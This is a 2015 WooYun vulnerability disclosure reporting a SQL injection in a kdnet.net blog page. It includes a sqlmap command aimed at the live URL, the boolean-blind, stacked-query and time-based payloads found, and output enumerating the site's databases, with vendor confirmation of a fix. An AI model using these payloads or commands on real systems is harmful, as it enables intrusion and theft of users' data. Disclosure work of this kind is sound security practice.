当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106565

漏洞标题:凯迪社区某处伪静态SQL注入(影响千万用户数据)

相关厂商:kdnet.net

漏洞作者: SeaCream

提交时间:2015-04-14 10:55

修复时间:2015-04-15 10:55

公开时间:2015-04-15 10:55

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-15: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

与club.kdnet.net在同一个服务器上 可造成1000多万用户资料泄露 可能通过前台登录管理 造成网站失陷

详细说明:

http://blog.kdnet.net/boke.asp?id5815402.html

漏洞证明:

sqlmap -u http://blog.kdnet.net/boke.asp?id5815402*.html --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:29:05
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[13:29:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:29:06] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://blog.kdnet.net:80/boke.asp?id5815402' AND 4325=4325 AND 'rfYs'='rfYs.html
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://blog.kdnet.net:80/boke.asp?id5815402'; WAITFOR DELAY '0:0:5'--.html
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://blog.kdnet.net:80/boke.asp?id5815402' WAITFOR DELAY '0:0:5'--.html
---
[13:29:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[13:29:08] [INFO] fetching database names
[13:29:08] [INFO] fetching number of databases
[13:29:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:29:08] [INFO] retrieved:
[13:29:17] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[13:29:48] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[13:29:49] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[13:29:50] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:29:50] [ERROR] unable to retrieve the number of databases
[13:29:50] [INFO] retrieved:
[13:29:53] [INFO] heuristics detected web page charset 'GB2312'
sqlmap got a 302 redirect to 'http://blog.kdnet.net:80/BokeDescription.asp'. Do you want to follow? [Y/n] n
[13:29:56] [WARNING] reflective value(s) found and filtering out
dvbook
[13:30:40] [INFO] retrieved: master
[13:31:19] [INFO] retrieved: tempdb
[13:32:02] [INFO] retrieved: model
[13:32:39] [INFO] retrieved: msdb
[13:33:07] [INFO] retrieved: ReportServer
[13:34:32] [INFO] retrieved: ReportServerTempDB
[13:36:44] [INFO] retrieved: bbs1
[13:37:10] [INFO] retrieved: bbs2
[13:37:35] [INFO] retrieved: bbs3
[13:38:00] [INFO] retrieved: bbs4
[13:38:24] [INFO] retrieved: bbs5
[13:38:49] [INFO] retrieved: dvbook
[13:39:34] [INFO] retrieved: bbs6
[13:40:00] [INFO] retrieved: bbs7
依然在继续 只是为了证明有漏洞就不继续了

修复方案:

过滤不合法字符

版权声明:转载请注明来源 SeaCream@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-14 11:53

厂商回复:

确认存在,感谢wooyun以及路人甲

最新状态:

2015-04-14:已经修复漏洞。再次感谢wooyun以及路人甲!

2015-04-15:修复漏洞,再次感谢SeaCream。